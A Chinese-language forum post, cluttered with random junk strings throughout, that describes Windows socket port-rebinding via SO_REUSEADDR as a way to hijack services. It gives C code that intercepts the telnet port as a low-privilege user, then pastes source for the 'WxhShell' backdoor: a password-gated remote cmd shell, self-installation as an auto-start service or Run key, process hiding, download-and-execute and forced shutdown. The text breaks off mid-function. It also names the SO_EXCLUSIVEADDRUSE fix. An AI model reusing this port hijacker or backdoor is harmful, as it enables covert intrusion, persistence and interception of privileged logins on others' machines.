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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?kb\%pcK s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -zz9k=q (.!q~G saddr.sin_family = AF_INET; N1(}3O eeb8v:4 saddr.sin_addr.s_addr = htonl(INADDR_ANY); #
dxlU/* g m], bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $zz=>BOk .?S#DS ) 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 W9V%Xc`LQ AJ:@c7:eS 这意味着什么?意味着可以进行如下的攻击: $b$r,mc #D+Fq^="P 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6M$.gX
G. Qq]UEI `Go 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) '7'cKp ^ I,1kl~i 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &TWO/F+Y !,\9,lc 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 QbqLj>-AJ 8yFD2(# 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Zml9ndzT Ed*`d> 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kC9A `Xmpm4 ] 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 O t`}eL- h/(9AO}t #include 3[aJ=5 #include i$:CGUb #include 5'V'~Q% #include r?/>t1Z DWORD WINAPI ClientThread(LPVOID lpParam); N??<3j+Iu int main() T*h+"TmE { >cMU<'& WORD wVersionRequested; S^D ~A8u DWORD ret; _W#27I WSADATA wsaData; >Q5E0 !] BOOL val; 'Dk(jpYB SOCKADDR_IN saddr; !b _<_Y{l SOCKADDR_IN scaddr; s[s 6E`Q int err; ]\r~"*TZ SOCKET s; 9y]$c1 SOCKET sc; 1<59)RiO> int caddsize; rhn*kf{8 HANDLE mt; ^QW%<X DWORD tid; R!pV`N wVersionRequested = MAKEWORD( 2, 2 ); &<^@/osi err = WSAStartup( wVersionRequested, &wsaData ); !>S'eXt if ( err != 0 ) { x=au.@psBS printf("error!WSAStartup failed!\n"); V`fh,(: return -1; l]v
*h0! } Rb#Z\e}e- saddr.sin_family = AF_INET; <U,T*Ql1x s^KxAw_IV //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |+`hSA W+K=M*^D;c saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P<4jY?. saddr.sin_port = htons(23); R?&S]?H if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #{
Uk4 { Q}fAAZ&7h printf("error!socket failed!\n"); rX{|]M":T return -1; =h_4TpDQ } ^*{xTB57 val = TRUE; @#Xzk?+ //SO_REUSEADDR选项就是可以实现端口重绑定的 3UN Jj&-` if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !&'xkw ` { &aF_y_f\ printf("error!setsockopt failed!\n"); %W&=]&L return -1; A&t'uY6 } ?ST}0F00} //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [#R%jLEJ2 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :sPku<1is //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 09%eaoW %74Ms if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hU=J^Gi0 { \
I?;% ret=GetLastError(); x(=kh%\; printf("error!bind failed!\n"); Le3S;SY& return -1; Aoo'i } v\MH;DW^Z listen(s,2); )E[5lD61 while(1) mML^kgy\N { U<6k!Y9ny caddsize = sizeof(scaddr); IYCKF/2o //接受连接请求 R<U?)8g,h~ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); O5=ggG
if(sc!=INVALID_SOCKET) Y\%}VD2k { k Lv_P[I mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "rKIXy if(mt==NULL) !<YRocQY { xY~
DMcO? printf("Thread Creat Failed!\n"); BO9Z"|" break; Zi[)(agAT } 0zTv'L } .nSupTyG CloseHandle(mt); yav)mO~QU6 } c^6`"\X^g closesocket(s); T*{zL WSACleanup(); R/Y/#X^b return 0; tAC,'im:* } CMg83 DWORD WINAPI ClientThread(LPVOID lpParam) rvmI
8 { )-QNWN
H SOCKET ss = (SOCKET)lpParam; 18n84RkI9 SOCKET sc; `Eu(r]:W unsigned char buf[4096]; R Nv<kw SOCKADDR_IN saddr; HJ'93, long num; asq/_` DWORD val; Hwc{%.% ae DWORD ret; 52["+1g\ //如果是隐藏端口应用的话,可以在此处加一些判断 ~o%-\^oc //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 N{`l?t0I saddr.sin_family = AF_INET; FSQ&J|O saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); M|v.5l# saddr.sin_port = htons(23); ipzUF o<w if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u:S@'z> { XOeh![eMX printf("error!socket failed!\n"); hv"toszj\ return -1; \Zh)oUHd } __V]HcP; val = 100; fhY[I0;}$ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3H%HJS { _5K_YhT ret = GetLastError(); wU ; f return -1; 1 IlR } O\LW
8\M if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |ber:1 { R`**!ku ret = GetLastError(); #PrV)en return -1; wr$}AX } g_>ZE if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -oZac { tT8jC:oVa printf("error!socket connect failed!\n"); .#:,j1L"53 closesocket(sc); L~oFW'
closesocket(ss); x<Zhj3 return -1; 9kF#* } eb/V}% while(1) avpw+M6+ { @1@q6@9Tu //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0`P]fL+& //如果是嗅探内容的话,可以再此处进行内容分析和记录 a`-hLX)~Z //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ];I| _fXo% num = recv(ss,buf,4096,0); 1SFKP$^ if(num>0) XsOOkf\_ send(sc,buf,num,0); C^%zV>o else if(num==0) 8Wj=|Ow-q break; `Q&]dE= num = recv(sc,buf,4096,0); &1p8#i if(num>0) bNROXiX send(ss,buf,num,0); ,OKM\N, else if(num==0) yo*iv+l break; /,Rca1W } nFfCw%T? closesocket(ss); }91mQ`3 closesocket(sc); H< ;Fb;b return 0 ; *!'&: } z/YMl3$l~ &5.~XM; :HQ8M*o ========================================================== jV(xYA3 # CP9^R S 下边附上一个代码,,WXhSHELL v
Ie=wf~D` Y^*Lh/:h ========================================================== ?0 KiR? :pL1F)-* #include "stdafx.h" M6o
xtt4 {ziYd;Ys1 #include <stdio.h> u&?yPR #include <string.h>
o>/uW8 #include <windows.h> % 8rr*l5 #include <winsock2.h> E< io^ #include <winsvc.h> W07-JHV% #include <urlmon.h> yH0yO*RZ CWobvR)e #pragma comment (lib, "Ws2_32.lib") Xy3g(x] #pragma comment (lib, "urlmon.lib") T2/v} sp=7Kh?|> #define MAX_USER 100 // 最大客户端连接数 tWCv]* #define BUF_SOCK 200 // sock buffer !.tL"U~4 #define KEY_BUFF 255 // 输入 buffer 14@q $}sf =DmPPl{ #define REBOOT 0 // 重启 o}r!qL0c #define SHUTDOWN 1 // 关机 ZYl-p]\*y !DY2{Wb #define DEF_PORT 5000 // 监听端口 YKs^%GO+ (F4d Fh #define REG_LEN 16 // 注册表键长度 j:de}!wc #define SVC_LEN 80 // NT服务名长度 $h|I7` "R\\\I7u // 从dll定义API 3Aqe;Wf9%+ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~,M;+T}[r typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $z`cMQ r typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
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typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]/<Qn-BbU VfE^g\Ia // wxhshell配置信息 .H[Lo> struct WSCFG { $fj"* int ws_port; // 监听端口 ;k63RNT,M& char ws_passstr[REG_LEN]; // 口令 +i q+ int ws_autoins; // 安装标记, 1=yes 0=no ShsP]$Yp char ws_regname[REG_LEN]; // 注册表键名 p[k9C$@e} char ws_svcname[REG_LEN]; // 服务名 /FNj|7s char ws_svcdisp[SVC_LEN]; // 服务显示名 yoQ?lh char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,pGCgOG#}c char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ([4{n int ws_downexe; // 下载执行标记, 1=yes 0=no NZw[.s>n
char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" zM9) .D
H char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [u9S+:7" -c<1H)W }; ui#1 +p3G |]2eGrGj4 // default Wxhshell configuration sP8-gkkor struct WSCFG wscfg={DEF_PORT, |Z^c#R "xuhuanlingzhe", f'zFg["aZS 1, Ph7(JV{ "Wxhshell", ?`[ uh% "Wxhshell", /iJcy:J "WxhShell Service", #9W5 "Wrsky Windows CmdShell Service", N-?|]4e/ "Please Input Your Password: ", ekk&TTp# 1, J!^~KN6[ " http://www.wrsky.com/wxhshell.exe", (j"~]T!)1 "Wxhshell.exe" qeO6}A"^| }; E*!zJ,@8 A](}"Pi!n // 消息定义模块 Wp9
2sm+ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @*`UOgP7 char *msg_ws_prompt="\n\r? for help\n\r#>"; /o06h y char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; K&a]pL6D char *msg_ws_ext="\n\rExit."; 'y@ 2,9v char *msg_ws_end="\n\rQuit."; Z=/L6Zb char *msg_ws_boot="\n\rReboot..."; f6_|dvY3 char *msg_ws_poff="\n\rShutdown..."; : z,vJ~PW char *msg_ws_down="\n\rSave to "; 9Nbg@5( HEfA c
char *msg_ws_err="\n\rErr!"; Z_4H2HseL char *msg_ws_ok="\n\rOK!"; {pJ@I=q H/la'f#o% char ExeFile[MAX_PATH]; v.^
'x int nUser = 0; q
]R @:a/ HANDLE handles[MAX_USER]; A
=Az[ int OsIsNt; h'q0eqYeu) MKhL^c- SERVICE_STATUS serviceStatus; \S@=zII_ SERVICE_STATUS_HANDLE hServiceStatusHandle; G`JwAy r' eq 1 4 // 函数声明 n YMf[kW int Install(void); BHBT=,sI int Uninstall(void); rpP+20 v int DownloadFile(char *sURL, SOCKET wsh); Q_|S^hxQ int Boot(int flag); O}iKPY8K void HideProc(void); w#bbm'j7r int GetOsVer(void); )*<d1$aM int Wxhshell(SOCKET wsl); % |Gzht\ void TalkWithClient(void *cs); ^A$XXH' int CmdShell(SOCKET sock); 28qWC~/9 int StartFromService(void); 3'@jRK int StartWxhshell(LPSTR lpCmdLine); `YU:kj<6 ]X;*\- VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !rmo*-=^= VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?;7>`F6ld ]be2jQx3 // 数据结构和表定义 gl{PLLe[} SERVICE_TABLE_ENTRY DispatchTable[] = kk./-G { u2m{Yx| {wscfg.ws_svcname, NTServiceMain}, 2X|jq4 {NULL, NULL} 7Z :l;%]K }; $,v+i
- 7(iRz // 自我安装 0lq4 int Install(void) 1UWgOCc { cx%9UK*c char svExeFile[MAX_PATH]; *1]k&#s HKEY key; qBrZg strcpy(svExeFile,ExeFile); /faP]J) fe`G^hV // 如果是win9x系统,修改注册表设为自启动 @MH]s [{o\ if(!OsIsNt) { !/9Sb1_ ~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { | Dpfh RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d'nuk#r RegCloseKey(key); nk.Eq[08 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gx
R|S
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *J5euA5= RegCloseKey(key); dV*rnpN return 0; }ZGpd9D } <G =@Gl } F09AX'nj } QRa6*AYm else { #u(,#(P'# {/!"}{G1e // 如果是NT以上系统,安装为系统服务 p arG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vK~KeZ\,p= if (schSCManager!=0) N2Hb19/k { !sWBj'[> SC_HANDLE schService = CreateService dR{
V,H7N ( r}Av" schSCManager, CUcjJ|MZ wscfg.ws_svcname, zhL,BTH wscfg.ws_svcdisp, bncFrzp#o SERVICE_ALL_ACCESS, IcA~f@ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .?]_yX SERVICE_AUTO_START, eR;0pWVl SERVICE_ERROR_NORMAL, zwK;6&(W svExeFile, >?FCv7qN NULL, GQWTQIl] NULL, IV*$U7~ NULL, )C6 7qY[P NULL, zjE4v-H:l NULL Rj=Om ); 3&:fS|L~c if (schService!=0) S`.-D+.68 { RjHpC7b*% CloseServiceHandle(schService); IbwRb CloseServiceHandle(schSCManager); 5(Oc"0''H strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y$NG ..S strcat(svExeFile,wscfg.ws_svcname); hKYPH?b% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @U5>w\ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C
=U4|h ~W RegCloseKey(key); +2O_LPV$, return 0; zf u78 } n3,wwymQ } j]SkBZgik CloseServiceHandle(schSCManager); net9KX4\ } w7u >|x! } 1A`";E& m,O!Mt return 1; ?>&Zm$5V } ObzlZP
r@ U 7?ez // 自我卸载 q5PYc.E([ int Uninstall(void) L~~Yh{< { l[ k$O$jo HKEY key; Q8i6kf! CXZeL 1+ if(!OsIsNt) { ]+P&Y: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _#B/#^a RegDeleteValue(key,wscfg.ws_regname); C"<@EMU9 RegCloseKey(key); 9v0|lS!- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [DwB7l)O( RegDeleteValue(key,wscfg.ws_regname); L4b4X RegCloseKey(key); FO$Tn+\ 6 return 0; =@o} } _!zY(9% } ;\N*iN#K } zdE^v{}| else { M-Bw9`#Jw 6Y^o8R SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q
# gHD if (schSCManager!=0) @@jdF-Utj; { L8ke*O$ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @AOiZOH if (schService!=0) lDeWs%n { jL SZ#H if(DeleteService(schService)!=0) { E3!twR*Aw CloseServiceHandle(schService); &
j43DYw4 CloseServiceHandle(schSCManager); HV@:!zM return 0; UZ#2*PH2E } 7_,gAE:kG CloseServiceHandle(schService); iq$/6!t } SCij5il% CloseServiceHandle(schSCManager); +zsya4r } e=2D^G#qE } 32yNEP{ sXu]k#I^" return 1; @^Oww(I } ~
4aaJ0
<T).+
M/ // 从指定url下载文件 )c/]
8KU int DownloadFile(char *sURL, SOCKET wsh) 2olim1 { /!hW6u5 HRESULT hr; DN+`Q{KS char seps[]= "/"; -g0>>{M' char *token; 0NxaQ`\ char *file; |{
kB` char myURL[MAX_PATH]; scdT/|(U$ char myFILE[MAX_PATH]; <mN3:G #_d%hr~d strcpy(myURL,sURL); \1ZfSc token=strtok(myURL,seps); y_6HQ: while(token!=NULL) C1=[\c~jw { nFqMS|EN file=token; c\Dv3bF token=strtok(NULL,seps); >L%%B- } $IHa]9 { SZ_hG D 0 GetCurrentDirectory(MAX_PATH,myFILE); /y} strcat(myFILE, "\\"); F}X_I strcat(myFILE, file); 5M*p1^ > send(wsh,myFILE,strlen(myFILE),0); y;;@T X send(wsh,"...",3,0); <x/&Ml+ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S'txY\ if(hr==S_OK) 6
Qmtb2 return 0; 4Xz|HU? else jAu/]
HZx return 1; 2,+H;Ypi! r*
U6govky } PF.HYtZqK B4 hR3% // 系统电源模块 yxH[uJpb int Boot(int flag) y3x_B@}BY { %]-tA,u HANDLE hToken; e*tOXXY1 TOKEN_PRIVILEGES tkp; W+QI
D/ ?1YK-T@ if(OsIsNt) { M-n +3E9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); COap* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ||hd(_W8 tkp.PrivilegeCount = 1; OA_
%%A;o tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~%]+5^Ka] AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ae"B]Cxb_X if(flag==REBOOT) { G]{)yZ'} if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s^cHR1^ return 0; 139_\=5|U/ } C`fQ` RL\ else { ~sOAm if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kp[Jl0K5 return 0; 37VSE@Z+ } ;aSEv"iWX } 1'ZBtX~A else { xu3qX" if(flag==REBOOT) { bFcI\Q{4 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T!8,R{V]4 return 0; a$ Z06j } L~\Ir else { 0L'h5i>H) if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E;yP.<PW return 0; YtFtU;{ } YQ]W<0( } WawOap -{^Gzui return 1; d%iMjY`~[g } q%nWBmPZ~y GujmBb // win9x进程隐藏模块 Gx!Y
4Q}- void HideProc(void) HN\9d { d-X<+&VZ p~qdkA< HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n* uT if ( hKernel != NULL ) ol-U%J { *5u0`k^j pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'vBuQinn ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^)TZHc2a[ FreeLibrary(hKernel); t~3!| @3i } >o.4sN@ V!uW\i/ return; U 1vZr{\ } ;tlvf?0! idEhxvAo // 获取操作系统版本 U&GSMjqg int GetOsVer(void) 1GE[*$vuq { W|4:3c4 OSVERSIONINFO winfo; bZLY#g7L" winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0tK(:9S GetVersionEx(&winfo); uWkW T.>$ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4S5U|n return 1; jBb:) else @cukoLAn return 0; wt]onve}% }
Z/RSZ- ~7ZWtg;B // 客户端句柄模块 n&1q* int Wxhshell(SOCKET wsl) ?L x*MJZ { 6/6M.p SOCKET wsh; \ ,D>zF struct sockaddr_in client; 1
8%+ Hy= DWORD myID; 4
Fl>XM F$M^}vsjGx while(nUser<MAX_USER) ^,}1^?* { ~bf4_5 int nSize=sizeof(client); >cJix
1 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SMonJ;Y if(wsh==INVALID_SOCKET) return 1; cDS\=Bf w{mw?0 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bI+/0Xx if(handles[nUser]==0) |yS % closesocket(wsh); pmRm&VgE. else %:t! u&:q nUser++; KT[ZOtu } Uo?4o*} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xqs ,4bcbY r3qKT return 0; 0CO@@`~4 } DG?g~{Y~b ~y{_NgMo // 关闭 socket
pu~b\&^G void CloseIt(SOCKET wsh) CFC15/yU { I3HO><of closesocket(wsh); 4O<sE@X nUser--; A3)"+`&PUl ExitThread(0); hjyM xg;Q? } Dj>eAO> EQN)y27poW // 客户端请求句柄 :_}xN!9LA void TalkWithClient(void *cs) nrHC;R.nE { 9#TD1B/ BmKf%:l} SOCKET wsh=(SOCKET)cs; fLnwA|n= char pwd[SVC_LEN]; h4jo<yp\ char cmd[KEY_BUFF]; 4GbfA
.u char chr[1];
9u^M{6 int i,j; qg{gCG "\i H/ while (nUser < MAX_USER) { M!+J[q ^3[_4av if(wscfg.ws_passstr) { eZEk$W% if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8tQ;N' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e8rZP(g&g //ZeroMemory(pwd,KEY_BUFF); u$yXuFj/ i=0; D6Au)1y=& while(i<SVC_LEN) { ;89kL] 7mq&]4-G // 设置超时 >ei~:z]R fd_set FdRead; ~n-Px) struct timeval TimeOut; $m;`O_-T FD_ZERO(&FdRead); }[Z'Sg]s FD_SET(wsh,&FdRead); g'KxjjYT, TimeOut.tv_sec=8;
&nDXn| TimeOut.tv_usec=0; %ggf|\-e int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `Jk0jj6Z if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +!0K]$VZs dpTsTU!\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kL%ot<rt)w pwd =chr[0]; a;t}'GQGk if(chr[0]==0xd || chr[0]==0xa) { ?OLd
}8y pwd=0; ]R_R`X? break; (/uAn2 } AY{KxCrb^ i++; :a6LfPEAX } HD^#" !{g<RS(c // 如果是非法用户,关闭 socket \= v.$u"c if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4~,Z ' k } ~.aR=m\#
&cL1 EQ( send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~f h send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >x{("``D0y zMR)w77 while(1) { se\f be ^0 1Z)Et, ZeroMemory(cmd,KEY_BUFF); ~ubvdQEW SI=$s>1 // 自动支持客户端 telnet标准 oT-gZedW( j=0; -B;#pTG while(j<KEY_BUFF) { fZ$b8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +4s]#{mP cmd[j]=chr[0]; zY*9M3(X if(chr[0]==0xa || chr[0]==0xd) { o]4]fLQ cmd[j]=0; 3PE.7-HF break; HU'Mi8xxy } 5MVa;m j++; j6GIB_ } lS4r pbU_ 17 Ugz? // 下载文件 Am<5J,<uy if(strstr(cmd,"http://")) { B?! L~J@p send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0~bUW V if(DownloadFile(cmd,wsh)) YNr"]SA@ ; send(wsh,msg_ws_err,strlen(msg_ws_err),0); <rBW6o7 else F_Y]>,U send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .xN<<+|_v' } 3YHEH\60^ else { =rA?,74 k,:W]KD switch(cmd[0]) { jr=9.=jI8k jE*{^+n
// 帮助 aKDY_D case '?': { geme_ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k =5k)}i break; F\m^slsu7= } pF{jIXu // 安装 <tD,Uu{P case 'i': { .9bi%=hP if(Install()) WXy8<?s send(wsh,msg_ws_err,strlen(msg_ws_err),0); w:5?ofC else IRN,= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F7DA~G! break; g-eJan&]N } csy6_q( // 卸载 fx;rMGa case 'r': { h.edb6 if(Uninstall()) y98FEG#S} send(wsh,msg_ws_err,strlen(msg_ws_err),0); *ERV\/ else t#^Cem< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8,U~ p<Gz break; B4y_{V } P T;{U<5 // 显示 wxhshell 所在路径 7m2iL#5[ case 'p': { 0>28o. char svExeFile[MAX_PATH]; Z)7{~xq strcpy(svExeFile,"\n\r"); 3Bl|~K;- strcat(svExeFile,ExeFile); \lbH
send(wsh,svExeFile,strlen(svExeFile),0); @Tu`0=8 break; C
m:AU; } =t,oj6P~ // 重启 Ca~8cQ case 'b': { .RroO_H
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Cog }a if(Boot(REBOOT)) &]TniQH send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qw0k-t0=4 else { hk?i0#7W closesocket(wsh); %r^tZ ;;l ExitThread(0); JLd%rM\m } y4kn2Mw; break; z4YDngf=4 } Bl+\|[yd // 关机 zZMKgFR@ case 'd': { QBa+xI_
J send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PhAfEsD if(Boot(SHUTDOWN)) tR!C8:u send(wsh,msg_ws_err,strlen(msg_ws_err),0); p*<Jg l else { >#h,q|B closesocket(wsh); XJo.^<m ExitThread(0); XpANaqH\ } X5o*8Bg4M break; ?=7k<a~ } ;pm/nu // 获取shell zfop-qDOc case 's': { vd%AV(]<LJ CmdShell(wsh); 9wx]xg4l" closesocket(wsh); '-"[>`[q ExitThread(0); Tf#Op
v) break; :
;8L1' } eBa#Z1Z // 退出 3FvVM0l" case 'x': { Jj)J5S / send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ICz:>4M-dn CloseIt(wsh); Tv#d>ZSD break; q]1p Q)\'p } 1L`V{\_0s // 离开 <oXBkCi0r case 'q': { Ko&4{}/ send(wsh,msg_ws_end,strlen(msg_ws_end),0); Yz;7g8HI closesocket(wsh); !n;3jAl&$ WSACleanup(); 0=&S?J#! exit(1); %e[E@H 7 break; 8pEA3py } a =W%x{ } sSh." H } m=n79]b:N *ELU">!}G // 提示信息 0xZ^ f}@L if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JFI*Pt;X9 } XZN@hXc9:v } >&\.{ aj sf$hsPC^ return; p9jC-&: } n><ad*|MX 7(D)U)9h // shell模块句柄 PK|qiu-O&* int CmdShell(SOCKET sock) 4IW
fp&Q! { y_>DszRN`u STARTUPINFO si; BEax[=&W ZeroMemory(&si,sizeof(si)); \A^8KVE! si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `StuUa si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]i075bO/ PROCESS_INFORMATION ProcessInfo;
&3IkC(yD char cmdline[]="cmd"; eaO'|@;{~ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )a0l:jEOc return 0; i+5Qs-dHA } kIa16m ^O<'Qp,[: // 自身启动模式 =p5]r:9W int StartFromService(void) f?ycZ { iOIq2&sV typedef struct MB:[: nX { >VZxDJ$R DWORD ExitStatus; EZ>(} DWORD PebBaseAddress; phG*It} DWORD AffinityMask; RSj8T< DWORD BasePriority; J|hVD ULONG UniqueProcessId; s)E8}-v ULONG InheritedFromUniqueProcessId; U:99w } PROCESS_BASIC_INFORMATION; p&$PsgR R|}4H*N PROCNTQSIP NtQueryInformationProcess; A",}Ikh='` uX!6:v] static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Wm" q8-<< static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >Q<XyAH~ t$,G%micj HANDLE hProcess;
